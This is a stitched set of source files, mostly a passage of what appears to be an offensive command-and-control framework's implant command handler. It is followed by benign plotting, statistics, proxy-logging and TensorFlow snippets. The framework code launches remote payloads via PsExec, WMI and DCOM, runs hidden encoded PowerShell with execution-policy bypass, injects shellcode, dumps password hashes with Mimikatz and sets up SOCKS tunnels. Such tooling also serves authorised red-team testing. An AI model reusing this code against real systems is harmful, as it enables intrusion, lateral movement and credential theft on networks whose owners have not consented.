creds['Hash']) cmd = "invoke-smbexec %s" % params new_task(cmd, user, randomuri) elif command.startswith("invoke-psexecproxypayload"): check_module_loaded("Invoke-PsExec.ps1", randomuri, user) if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, "Proxy"))): with open("%s%spayload.bat" % (PayloadsDirectory, "Proxy"), "r") as p: payload = p.read() params = re.compile("invoke-psexecproxypayload ", re.IGNORECASE) params = params.sub("", command) if "-credid" in params: creds, params = get_creds_from_params(params, startup, user) if creds is None: startup(user, "CredID not found") if creds['Password']: params = params + " -domain %s -username %s -pass %s" % (creds['Domain'], creds['Username'], creds['Password']) else: params = params + " -domain %s -username %s -hash %s" % (creds['Domain'], creds['Username'], creds['Hash']) cmd = "invoke-psexec %s -command \"%s\"" % (params, payload) new_task(cmd, user, randomuri) else: startup(user, "Need to run createproxypayload first") elif command.startswith("invoke-psexecdaisypayload"): check_module_loaded("Invoke-PsExec.ps1", randomuri, user) daisyname = input("Payload name required: ") if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, daisyname))): with open("%s%spayload.bat" % (PayloadsDirectory, daisyname), "r") as p: payload = p.read() params = re.compile("invoke-psexecdaisypayload ", re.IGNORECASE) params = params.sub("", command) if "-credid" in params: creds, params = get_creds_from_params(params, startup, user) if creds is None: startup(user, "CredID not found") if creds['Password']: params = params + " -domain %s -username %s -pass %s" % (creds['Domain'], creds['Username'], creds['Password']) else: params = params + " -domain %s -username %s -hash %s" % (creds['Domain'], creds['Username'], creds['Hash']) cmd = "invoke-psexec %s -command \"%s\"" % (params, payload) new_task(cmd, user, randomuri) else: startup(user, "Need to run createdaisypayload first") elif command.startswith("invoke-psexecpayload"): check_module_loaded("Invoke-PsExec.ps1", randomuri, user) C2 = get_c2server_all() newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", "", "", "", "", C2[19], C2[20], C2[21], get_newimplanturl(), PayloadsDirectory) payload = newPayload.CreateRawBase() params = re.compile("invoke-psexecpayload ", re.IGNORECASE) params = params.sub("", command) if "-credid" in params: creds, params = get_creds_from_params(params, startup, user) if creds is None: startup(user, "CredID not found") if creds['Password']: params = params + " -domain %s -username %s -pass %s" % (creds['Domain'], creds['Username'], creds['Password']) else: params = params + " -domain %s -username %s -hash %s" % (creds['Domain'], creds['Username'], creds['Hash']) cmd = "invoke-psexec %s -command \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % (params, payload) new_task(cmd, user, randomuri) # wmi lateral movement elif command.startswith("invoke-wmiexec "): check_module_loaded("Invoke-WMIExec.ps1", randomuri, user) params = re.compile("invoke-wmiexec ", re.IGNORECASE) params = params.sub("", command) if "-credid" in params: creds, params = get_creds_from_params(params, startup, user) if creds is None: startup(user, "CredID not found") if creds['Password']: params = params + " -domain %s -user %s -pass %s" % (creds['Domain'], creds['Username'], creds['Password']) else: params = params + " -domain %s -user %s -hash %s" % (creds['Domain'], creds['Username'], creds['Hash']) cmd = "invoke-wmiexec %s" % params new_task(cmd, user, randomuri) elif command.startswith("invoke-wmijspbindpayload"): check_module_loaded("New-JScriptShell.ps1", randomuri, user) with open("%s%sDotNet2JS_PBind.b64" % (PayloadsDirectory, ""), "r") as p: payload = p.read() params = re.compile("invoke-wmijspbindpayload ", re.IGNORECASE) params = params.sub("", command) new_task("$Shellcode64=\"%s\" #%s" % (payload, "%s%sDotNet2JS_PBind.b64" % (PayloadsDirectory, "")), user, randomuri) cmd = "new-jscriptshell %s -payload $Shellcode64" % (params) new_task(cmd, user, randomuri) target = re.search("(?<=-target )\\S*", str(cmd), re.IGNORECASE) C2 = get_c2server_all() print() print("To connect to the SMB named pipe use the following command:") print(Colours.GREEN+"invoke-pbind -target %s -secret mtkn4 -key %s -pname jaccdpqnvbrrxlaf -client" % (target[0],C2[2])+Colours.END) print() print("To issue commands to the SMB named pipe use the following command:") print(Colours.GREEN+"pbind-command \"pwd\""+Colours.END) print() print("To load modules to the SMB named pipe use the following command:") print(Colours.GREEN+"pbind-loadmodule Invoke-Mimikatz.ps1"+Colours.END) print() print("To kill the SMB named pipe use the following command:") print(Colours.GREEN+"pbind-kill"+Colours.END) elif command.startswith("invoke-wmijsproxypayload"): check_module_loaded("New-JScriptShell.ps1", randomuri, user) if os.path.isfile(("%s%sDotNet2JS.b64" % (PayloadsDirectory, "Proxy"))): with open("%s%sDotNet2JS.b64" % (PayloadsDirectory, "Proxy"), "r") as p: payload = p.read() params = re.compile("invoke-wmijsproxypayload ", re.IGNORECASE) params = params.sub("", command) new_task("$Shellcode64=\"%s\" #%s" % (payload, "%s%sDotNet2JS.b64" % (PayloadsDirectory, "Proxy")), user, randomuri) cmd = "new-jscriptshell %s -payload $Shellcode64" % (params) new_task(cmd, user, randomuri) else: startup(user, "Need to run createproxypayload first") elif command.startswith("invoke-wmijsdaisypayload"): check_module_loaded("New-JScriptShell.ps1", randomuri, user) daisyname = input("Name required: ") if os.path.isfile(("%s%sDotNet2JS.b64" % (PayloadsDirectory, daisyname))): with open("%s%sDotNet2JS.b64" % (PayloadsDirectory, daisyname), "r") as p: payload = p.read() params = re.compile("invoke-wmijsdaisypayload ", re.IGNORECASE) params = params.sub("", command) new_task("$Shellcode64=\"%s\" #%s" % (payload, "%s%sDotNet2JS.b64" % (PayloadsDirectory, daisyname)), user, randomuri) cmd = "new-jscriptshell %s -payload $Shellcode64" % (params) new_task(cmd, user, randomuri) else: startup(user, "Need to run createdaisypayload first") elif command.startswith("invoke-wmijspayload"): check_module_loaded("New-JScriptShell.ps1", randomuri, user) with open("%s%sDotNet2JS.b64" % (PayloadsDirectory, ""), "r") as p: payload = p.read() params = re.compile("invoke-wmijspayload ", re.IGNORECASE) params = params.sub("", command) if "-credid" in command: p = re.compile(r"-credid (\w*)") credId = re.search(p, command) if credId: credId = credId.group(1) else: startup(user, "Please specify a credid") creds = get_cred_by_id(credId) if creds is None: startup(user, "CredID not found") params = params.replace("-credid %s" % credId, "") params = params + " -domain %s -user %s -pass %s" % (creds['Domain'], creds['Username'], creds['Password']) new_task("$Shellcode64=\"%s\" #%s" % (payload, "%s%sDotNet2JS.b64" % (PayloadsDirectory, "")), user, randomuri) cmd = "new-jscriptshell %s -payload $Shellcode64" % (params) new_task(cmd, user, randomuri) elif command.startswith("invoke-wmiproxypayload"): check_module_loaded("Invoke-WMIExec.ps1", randomuri, user) if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, "Proxy"))): with open("%s%spayload.bat" % (PayloadsDirectory, "Proxy"), "r") as p: payload = p.read() params = re.compile("invoke-wmiproxypayload ", re.IGNORECASE) params = params.sub("", command) if "-credid" in params: creds, params = get_creds_from_params(params, startup, user) if creds is None: startup(user, "CredID not found") if creds['Password']: params = params + " -domain %s -user %s -pass %s" % (creds['Domain'], creds['Username'], creds['Password']) else: params = params + " -domain %s -user %s -hash %s" % (creds['Domain'], creds['Username'], creds['Hash']) cmd = "invoke-wmiexec %s -command \"%s\"" % (params, payload) new_task(cmd, user, randomuri) else: startup(user, "Need to run createproxypayload first") elif command.startswith("invoke-wmidaisypayload"): check_module_loaded("Invoke-WMIExec.ps1", randomuri, user) daisyname = input("Name required: ") if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, daisyname))): with open("%s%spayload.bat" % (PayloadsDirectory, daisyname), "r") as p: payload = p.read() params = re.compile("invoke-wmidaisypayload ", re.IGNORECASE) params = params.sub("", command) if "-credid" in params: creds, params = get_creds_from_params(params, startup, user) if creds is None: startup(user, "CredID not found") if creds['Password']: params = params + " -domain %s -user %s -pass %s" % (creds['Domain'], creds['Username'], creds['Password']) else: params = params + " -domain %s -user %s -hash %s" % (creds['Domain'], creds['Username'], creds['Hash']) cmd = "invoke-wmiexec %s -command \"%s\"" % (params, payload) new_task(cmd, user, randomuri) else: startup(user, "Need to run createdaisypayload first") elif command.startswith("invoke-wmipayload"): check_module_loaded("Invoke-WMIExec.ps1", randomuri, user) C2 = get_c2server_all() newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", "", "", "", "", C2[19], C2[20], C2[21], get_newimplanturl(), PayloadsDirectory) payload = newPayload.CreateRawBase() params = re.compile("invoke-wmipayload ", re.IGNORECASE) params = params.sub("", command) if "-credid" in params: creds, params = get_creds_from_params(params, startup, user) if creds is None: startup(user, "CredID not found") if creds['Password']: params = params + " -domain %s -user %s -pass %s" % (creds['Domain'], creds['Username'], creds['Password']) else: params = params + " -domain %s -user %s -hash %s" % (creds['Domain'], creds['Username'], creds['Hash']) cmd = "invoke-wmiexec %s -command \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % (params, payload) new_task(cmd, user, randomuri) # dcom lateral movement elif command.startswith("invoke-dcomproxypayload"): if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, "Proxy"))): with open("%s%spayload.bat" % (PayloadsDirectory, "Proxy"), "r") as p: payload = p.read() params = re.compile("invoke-wmiproxypayload ", re.IGNORECASE) params = params.sub("", command) if "-credid" in params: creds, params = get_creds_from_params(params, startup, user) if creds is None: startup(user, "CredID not found") if creds['Password']: params = params + " -domain %s -user %s -pass %s" % (creds['Domain'], creds['Username'], creds['Password']) else: params = params + " -domain %s -user %s -hash %s" % (creds['Domain'], creds['Username'], creds['Hash']) p = re.compile(r'(?<=-target.).*') target = re.search(p, command).group() pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c %s\",\"7\")" % (target, payload) new_task(pscommand, user, randomuri) else: startup(user, "Need to run createproxypayload first") elif command.startswith("invoke-dcomdaisypayload"): daisyname = input("Name required: ") if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, daisyname))): with open("%s%spayload.bat" % (PayloadsDirectory, daisyname), "r") as p: payload = p.read() p = re.compile(r'(?<=-target.).*') target = re.search(p, command).group() pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (target, payload) new_task(pscommand, user, randomuri) else: startup(user, "Need to run createdaisypayload first") elif command.startswith("invoke-dcompayload"): C2 = get_c2server_all() newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", "", "", "", "", C2[19], C2[20], C2[21], get_newimplanturl(), PayloadsDirectory) payload = newPayload.CreateRawBase() p = re.compile(r'(?<=-target.).*') target = re.search(p, command).group() pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (target, payload) new_task(pscommand, user, randomuri) # runas payloads elif command.startswith("invoke-runas "): check_module_loaded("Invoke-RunAs.ps1", randomuri, user) params = re.compile("invoke-runas ", re.IGNORECASE) params = params.sub("", command) if "-credid" in params: creds, params = get_creds_from_params(params, startup, user) if creds is None: startup(user, "CredID not found") if creds['Password']: params = params + " -domain %s -user %s -pass %s" % (creds['Domain'], creds['Username'], creds['Password']) else: startup(user, "invoke-runas does not support hash authentication") cmd = "invoke-runas %s" % params new_task(cmd, user, randomuri) elif command.startswith("invoke-runasdaisypayload"): daisyname = input("Name required: ") if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, daisyname))): with open("%s%spayload.bat" % (PayloadsDirectory, daisyname), "r") as p: payload = p.read() new_task("$proxypayload = \"%s\"" % payload, user, randomuri) check_module_loaded("Invoke-RunAs.ps1", randomuri, user) check_module_loaded("NamedPipeDaisy.ps1", randomuri, user) params = re.compile("invoke-runasdaisypayload ", re.IGNORECASE) params = params.sub("", command) if "-credid" in params: creds, params = get_creds_from_params(params, startup, user) if creds is None: startup(user, "CredID not found") if creds['Password']: params = params + " -domain %s -user %s -pass %s" % (creds['Domain'], creds['Username'], creds['Password']) else: startup(user, "invoke-runas does not support hash authentication") pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMSDaisy'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();" pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (params, base64.b64encode(pipe.encode('UTF-16LE')).decode("utf-8")) new_task(pscommand, user, randomuri) else: startup(user, "Need to run createdaisypayload first") elif command.startswith("invoke-runasproxypayload"): C2 = get_c2server_all() if C2[11] == "": startup(user, "Need to run createproxypayload first") else: newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12], C2[13], C2[11], "", "", C2[19], C2[20], C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory) payload = newPayload.CreateRawBase() proxyvar = "$proxypayload = \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % payload new_task(proxyvar, user, randomuri) check_module_loaded("Invoke-RunAs.ps1", randomuri, user) check_module_loaded("NamedPipeProxy.ps1", randomuri, user) params = re.compile("invoke-runasproxypayload ", re.IGNORECASE) params = params.sub("", command) if "-credid" in params: creds, params = get_creds_from_params(params, startup, user) if creds is None: startup(user, "CredID not found") if creds['Password']: params = params + " -domain %s -user %s -pass %s" % (creds['Domain'], creds['Username'], creds['Password']) else: startup(user, "invoke-runas does not support hash authentication") pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMSProxy'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();" pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (params, base64.b64encode(pipe.encode('UTF-16LE')).decode("utf-8")) new_task(pscommand, user, randomuri) elif command.startswith("invoke-runaspayload"): check_module_loaded("Invoke-RunAs.ps1", randomuri, user) check_module_loaded("NamedPipe.ps1", randomuri, user) params = re.compile("invoke-runaspayload ", re.IGNORECASE) params = params.sub("", command) if "-credid" in params: creds, params = get_creds_from_params(params, startup, user) if creds is None: startup(user, "CredID not found") if creds['Password']: params = params + " -domain %s -user %s -pass %s" % (creds['Domain'], creds['Username'], creds['Password']) else: startup(user, "invoke-runas does not support hash authentication") pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMS'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();" pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (params, base64.b64encode(pipe.encode('UTF-16LE')).decode("utf-8")) new_task(pscommand, user, randomuri) elif command == "help" or command == "?": print(posh_help) elif command == "help 1": print(posh_help1) elif command == "help 2": print(posh_help2) elif command == "help 3": print(posh_help3) elif command == "help 4": print(posh_help4) elif command == "help 5": print(posh_help5) elif command == "help 6": print(posh_help6) elif command == "help 7": print(posh_help7) elif command == "help 8": print(posh_help8) elif command.startswith("get-pid"): pid = get_implantdetails(randomuri) print(pid[8]) elif command.startswith("upload-file"): source = "" destination = "" s = "" nothidden = False if command == "upload-file": check_module_loaded("Inject-Shellcode.ps1", randomuri, user) style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.upload-history' % ROOTDIR), auto_suggest=AutoSuggestFromHistory(), style=style) try: source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*")) source = PayloadsDirectory + source except KeyboardInterrupt: commandloop(implant_id, user) while not os.path.isfile(source): print("File does not exist: %s" % source) source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*")) source = PayloadsDirectory + source destination = session.prompt("Location to upload to: ") else: args = argp(command) source = args.source destination = args.destination nothidden = args.nothidden try: with open(source, "rb") as source_file: s = source_file.read() if s: sourceb64 = base64.b64encode(s).decode("utf-8") destination = destination.replace("\\", "\\\\") print("") print("Uploading %s to %s" % (source, destination)) if (nothidden): uploadcommand = "Upload-File -Destination \"%s\" -NotHidden %s -Base64 %s" % (destination, nothidden, sourceb64) else: uploadcommand = "Upload-File -Destination \"%s\" -Base64 %s" % (destination, sourceb64) new_task(uploadcommand, user, randomuri) else: print("Source file could not be read or was empty") except Exception as e: print("Error with source file: %s" % e) traceback.print_exc() elif command == "kill-implant" or command == "exit": impid = get_implantdetails(randomuri) ri = input("Are you sure you want to terminate the implant ID %s? (Y/n) " % impid[0]) if ri.lower() == "n": print("Implant not terminated") if ri == "": new_task("exit", user, randomuri) kill_implant(randomuri) if ri.lower() == "y": new_task("exit", user, randomuri) kill_implant(randomuri) elif command.startswith("unhide-implant"): unhide_implant(randomuri) elif command.startswith("hide-implant"): kill_implant(randomuri) elif command.startswith("migrate"): params = re.compile("migrate", re.IGNORECASE) params = params.sub("", command) migrate(randomuri, user, params) elif command.startswith("loadmoduleforce"): params = re.compile("loadmoduleforce ", re.IGNORECASE) params = params.sub("", command) check_module_loaded(params, randomuri, user, force=True) elif command.startswith("loadmodule"): params = re.compile("loadmodule ", re.IGNORECASE) params = params.sub("", command) check_module_loaded(params, randomuri, user) elif command.startswith("pbind-loadmodule"): params = re.compile("pbind-loadmodule ", re.IGNORECASE) params = params.sub("", command) new_task(("pbind-loadmodule %s" % params), user, randomuri) elif command.startswith("invoke-daisychain"): check_module_loaded("Invoke-DaisyChain.ps1", randomuri, user) urls = get_allurls() new_task("%s -URLs '%s'" % (command, urls), user, randomuri) print("Now use createdaisypayload") elif command.startswith("inject-shellcode"): params = re.compile("inject-shellcode", re.IGNORECASE) params = params.sub("", command) check_module_loaded("Inject-Shellcode.ps1", randomuri, user) style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.shellcode-history' % ROOTDIR), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Location of shellcode file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bin")) path = PayloadsDirectory + path except KeyboardInterrupt: commandloop(implant_id, user) try: shellcodefile = load_file(path) if shellcodefile is not None: arch = "64" new_task("$Shellcode%s=\"%s\" #%s" % (arch, base64.b64encode(shellcodefile).decode("utf-8"), os.path.basename(path)), user, randomuri) new_task("Inject-Shellcode -Shellcode ([System.Convert]::FromBase64String($Shellcode%s))%s" % (arch, params), user, randomuri) except Exception as e: print("Error loading file: %s" % e) elif command == "listmodules": modules = os.listdir("%s/Modules/" % POSHDIR) modules = sorted(modules, key=lambda s: s.lower()) print("") print("[+] Available modules:") print("") for mod in modules: if ".ps1" in mod: print(mod) elif command == "modulesloaded": ml = get_implantdetails(randomuri) print(ml[14]) elif command == "ps": new_task("get-processlist", user, randomuri) elif command == "hashdump": check_module_loaded("Invoke-Mimikatz.ps1", randomuri, user) new_task("Invoke-Mimikatz -Command '\"lsadump::sam\"'", user, randomuri) elif command == "stopdaisy": update_label("", randomuri) new_task(command, user, randomuri) elif command == "stopsocks": update_label("", randomuri) new_task(command, user, randomuri) elif command == "sharpsocks": check_module_loaded("SharpSocks.ps1", randomuri, user) import string from random import choice allchar = string.ascii_letters channel = "".join(choice(allchar) for x in range(25)) sharpkey = gen_key().decode("utf-8") sharpurls = get_sharpurls() sharpurl = select_item("HostnameIP", "C2Server") sharpport = select_item("ServerPort", "C2Server") dfheader = select_item("DomainFrontHeader", "C2Server") implant = get_implantdetails(randomuri) pivot = implant[15] if pivot != "PS": sharpurl = input("Enter the URL for SharpSocks: ") if (sharpport != 80 and sharpport != 443): if (sharpurl.count("/") >= 3): pat = re.compile(r"(?<!/)/(?!/)") sharpurl = pat.sub(":%s/" % sharpport, str, 1) else: sharpurl = ("%s:%s" % (sharpurl, sharpport)) print(POSHDIR + "SharpSocks/SharpSocksServerCore -c=%s -k=%s --verbose -l=%s\r\n" % (channel, sharpkey, SocksHost) + Colours.GREEN) ri = input("Are you ready to start the SharpSocks in the implant? (Y/n) ") if ri.lower() == "n": print("") if (ri == "") or (ri.lower() == "y"): taskcmd = "Sharpsocks -Client -Uri %s -Channel %s -Key %s -URLs %s -Insecure -Beacon 1000" % (sharpurl, channel, sharpkey, sharpurls) if dfheader: taskcmd += " -DomainFrontURL %s" % dfheader new_task(taskcmd, user, randomuri) update_label("SharpSocks", randomuri) elif command == "history": startup(user, get_history()) elif command.startswith("reversedns"): params = re.compile("reversedns ", re.IGNORECASE) params = params.sub("", command) new_task("[System.Net.Dns]::GetHostEntry(\"%s\")" % params, user, randomuri) elif command.startswith("createdaisypayload"): createdaisypayload(user, startup) elif command.startswith("createproxypayload"): params = re.compile("createproxypayload ", re.IGNORECASE) params = params.sub("", command) creds = None if "-credid" in params: creds, params = get_creds_from_params(params, startup, user) if creds is None: startup(user, "CredID not found") if not creds['Password']: startup(user, "This command does not support credentials with hashes") createproxypayload(user, startup, creds) elif command.startswith("createnewpayload"): params = re.compile("createnewpayload ", re.IGNORECASE) params = params.sub("", command) creds = None if "-credid" in params: creds, params = get_creds_from_params(params, startup, user) if creds is None: startup(user, "CredID not found") if not creds['Password']: startup(user, "This command does not support credentials with hashes") createproxypayload(user, startup, creds) else: if command: new_task(command, user, randomuri) return def migrate(randomuri, user, params=""): implant = get_implantdetails(randomuri) implant_arch = implant[10] implant_comms = implant[15] if implant_arch == "AMD64": arch = "64" else: arch = "86" if implant_comms == "PS": path = "%spayloads/Posh_v4_x%s_Shellcode.bin" % (ROOTDIR, arch) shellcodefile = load_file(path) elif "Daisy" in implant_comms: daisyname = input("Name required: ") path = "%spayloads/%sPosh_v4_x%s_Shellcode.bin" % (ROOTDIR, daisyname, arch) shellcodefile = load_file(path) elif "Proxy" in implant_comms: path = "%spayloads/ProxyPosh_v4_x%s_Shellcode.bin" % (ROOTDIR, arch) shellcodefile = load_file(path) check_module_loaded("Inject-Shellcode.ps1", randomuri, user) new_task("$Shellcode%s=\"%s\" #%s" % (arch, base64.b64encode(shellcodefile).decode("utf-8"), os.path.basename(path)), user, randomuri) new_task("Inject-Shellcode -Shellcode ([System.Convert]::FromBase64String($Shellcode%s))%s" % (arch, params), user, randomuri)

51.074026

300

0.588959

266234154c474d11bd5a3899761263d716593b79

1,241

py

Python

test/proj4/proj-regression-EPSG-4326-3.py

dvuckovic/magics-test

bd8baf97b0db986f6adf63700d3cf77bbcbad2f2

[ "Apache-2.0" ]

7

2019-03-19T09:32:41.000Z

2022-02-07T13:20:33.000Z

test/proj4/proj-regression-EPSG-4326-3.py

dvuckovic/magics-test

bd8baf97b0db986f6adf63700d3cf77bbcbad2f2

[ "Apache-2.0" ]

2

2021-03-30T05:37:20.000Z

2021-08-17T13:58:04.000Z

test/proj4/proj-regression-EPSG-4326-3.py

dvuckovic/magics-test

bd8baf97b0db986f6adf63700d3cf77bbcbad2f2

[ "Apache-2.0" ]

5

2019-03-19T10:43:46.000Z

2021-09-09T14:28:39.000Z

from Magics.macro import * import os def plot_area(epsg, llx, lly, urx, ury): img = os.path.basename(__file__).split('.')[0] title = "Projection {} : [{:.2f}, {:.2f}, {:.2f}, {:.2f}]".format(epsg, llx, lly, urx, ury) #Setting output png = output( output_formats = ['png'], output_name = img, output_name_first_page_number = 'off') #Setting the geographical area area = mmap( subpage_lower_left_latitude = lly, subpage_lower_left_longitude = llx, subpage_map_projection = epsg, subpage_upper_right_latitude = ury, subpage_upper_right_longitude = urx, subpage_map_area_definition = "corners" ) #Setting the coastlines background = mcoast( map_coastline_land_shade = 'on', map_coastline_resolution = "medium", map_coastline_land_shade_colour = 'cream') #Picking the grib metadata title = mtext( text_lines = [title], text_justification = 'left', text_font_size = 0.6, text_colour = 'charcoal') #Plotting plot(png,area,background,title,) plot_area("EPSG:4326", -93.1904712370697, 7.324498226008458, -56.86549191675697, 79.97445686663391 )

28.860465

101

0.630137

ad4de74b5aa8a62b1f73687922de435f97c9949e

1,319

py

Python

ThomsonTau.py

BlancaNietoPetinal/Thompson-Tau-Method

2d4736ac8f3bef7f10d4e78312f5ff004f0e96a6

[ "Unlicense" ]

null

ThomsonTau.py

BlancaNietoPetinal/Thompson-Tau-Method

2d4736ac8f3bef7f10d4e78312f5ff004f0e96a6

[ "Unlicense" ]

null

ThomsonTau.py

BlancaNietoPetinal/Thompson-Tau-Method

2d4736ac8f3bef7f10d4e78312f5ff004f0e96a6

[ "Unlicense" ]

null

import numpy as np import scipy.stats as ss def maxim(data): ''' Calculates de maximum value in a list with nan values Inputs: - data: array-like. Outputs: - m: int, the maximun value in the array. - ind: the index of the maximum. ''' m = 0 ind = 0 for i in range(len(data)): if not(np.isnan(data[i])) and data[i]>m: m = data[i] ind = i return m,ind def thompson_tau(data,alpha = 0.05,threshold): # Information obtained from: https://www.statisticshowto.datasciencecentral.com/modified-thompson-tau-test/ ''' Implements the Thompson Tau method and returns a list with the outliers index. Inputs: - data: an array. - alpha: the significance level, default 0.05. - Threshold: the number of points tested. Outputs: - outliers: a list with the indices of the outliers. ''' outliers = [] n = len(data) mean = np.mean(data) delta = abs(data-mean) std = np.std(data) for i in range(threshold): d,ind = maxim(delta) reject = ss.t.ppf(alpha/2, n - 2) tau = (reject*(n - 1))/(np.sqrt(n)*np.sqrt(n - 2 + np.power(reject,2))) if d > tau*std: outliers += [ind] delta[ind] = None return outliers # An example to test it data = np.array([489, 490, 490, 491, 494, 499, 499, 500, 501, 505]) print(thompson_tau(data,0.05,10))

26.38

109

0.639121

f10248c5a01558e78e0ee1df39d208b050fb38b1

2,830

py

Python

heliosburn/proxy/modules/traffic_reader.py

thecodeteam/heliosburn

513f6335c9788948d82e5c9285d7869f3ff4cc10

[ "MIT" ]

null

heliosburn/proxy/modules/traffic_reader.py

thecodeteam/heliosburn

513f6335c9788948d82e5c9285d7869f3ff4cc10

[ "MIT" ]

null

heliosburn/proxy/modules/traffic_reader.py

thecodeteam/heliosburn

513f6335c9788948d82e5c9285d7869f3ff4cc10

[ "MIT" ]

1

2020-09-17T18:19:05.000Z

from module import AbstractModule from twisted.python import log import json import redis from module_decorators import SkipHandler class TrafficReader(AbstractModule): """ Extension of AbstractModule class used to serialize traffic to a Redis pubsub channel. """ def _get_request_message(self, http_message): request_headers = {k: v for (k, v) in http_message.requestHeaders. getAllRawHeaders()} message = {} message['createdAt'] = http_message.createdAt message['clientProtocol'] = http_message.clientproto message['method'] = http_message.method message['uri'] = http_message.uri message['path'] = http_message.path message['args'] = http_message.args message['headers'] = request_headers return message def _get_response_message(self, http_message): response_headers = {k: v for (k, v) in http_message.responseHeaders. getAllRawHeaders()} message = {} message['createdAt'] = http_message.response_createdAt message['clientProtocol'] = http_message.clientproto message['statusCode'] = http_message.code message['statusDescription'] = http_message.code_message message['headers'] = response_headers return message def _get_traffic_message(self, http_message): message = {} message['transaction_id'] = str(http_message.transaction_id) message['request_id'] = str(http_message.request_id) message['response_id'] = str(http_message.response_id) return message def configure(self, **configs): self.redis_host = configs['redis_host'] self.redis_port = configs['redis_port'] self.redis_db = configs['redis_db'] self.redis_pub_queue = configs['traffic_pub_queue'] self.redis_client = redis.StrictRedis(host=self.redis_host, port=self.redis_port, db=self.redis_db) @SkipHandler def handle_request(self, request): message = self._get_traffic_message(request) message['request'] = self._get_request_message(request) self.redis_client.publish(self.redis_pub_queue, json.dumps(message)) log.msg("traffic read: " + str(message)) return request @SkipHandler def handle_response(self, response): message = self._get_traffic_message(response) message['request'] = self._get_request_message(response) message['response'] = self._get_response_message(response) self.redis_client.publish(self.redis_pub_queue, json.dumps(message)) log.msg("traffic read: " + str(message)) return response traffic_reader = TrafficReader()

34.512195

76

0.652297

240be5dabe80dff1c6f319951fcea012ff0b660f

42,079

py

Python

tensorflow/python/estimator/training.py

Zwysilence/tensorflow

b55001be83da044bb21d539d433dec6231eaec55

[ "Apache-2.0" ]

4

2021-06-15T17:26:07.000Z

2021-11-17T10:58:08.000Z

tensorflow/python/estimator/training.py

Zwysilence/tensorflow

b55001be83da044bb21d539d433dec6231eaec55

[ "Apache-2.0" ]

4

2020-09-26T00:55:50.000Z

2022-02-10T01:53:06.000Z

tensorflow/python/estimator/training.py

Zwysilence/tensorflow

b55001be83da044bb21d539d433dec6231eaec55

[ "Apache-2.0" ]

6

2018-12-20T01:35:20.000Z

2020-07-10T17:29:57.000Z

# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Classes and functions related to train_and_evaluate.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections import json import os import time import six from tensorflow.core.protobuf import config_pb2 from tensorflow.python.distribute import estimator_training as distribute_coordinator_training from tensorflow.python.estimator import estimator as estimator_lib from tensorflow.python.estimator import exporter as exporter_lib from tensorflow.python.estimator import run_config as run_config_lib from tensorflow.python.framework import ops from tensorflow.python.platform import tf_logging as logging from tensorflow.python.training import basic_session_run_hooks from tensorflow.python.training import server_lib from tensorflow.python.training import session_run_hook from tensorflow.python.util import compat from tensorflow.python.util.tf_export import estimator_export _MAX_DELAY_SECS = 60 _DELAY_SECS_PER_WORKER = 5 _TF_CONFIG_ENV = 'TF_CONFIG' _ENVIRONMENT_KEY = 'environment' _ENVIRONMENT_GOOGLE_VALUE = 'google' _TRAINER_JOBS = (run_config_lib.TaskType.CHIEF, run_config_lib.TaskType.MASTER, run_config_lib.TaskType.WORKER) def 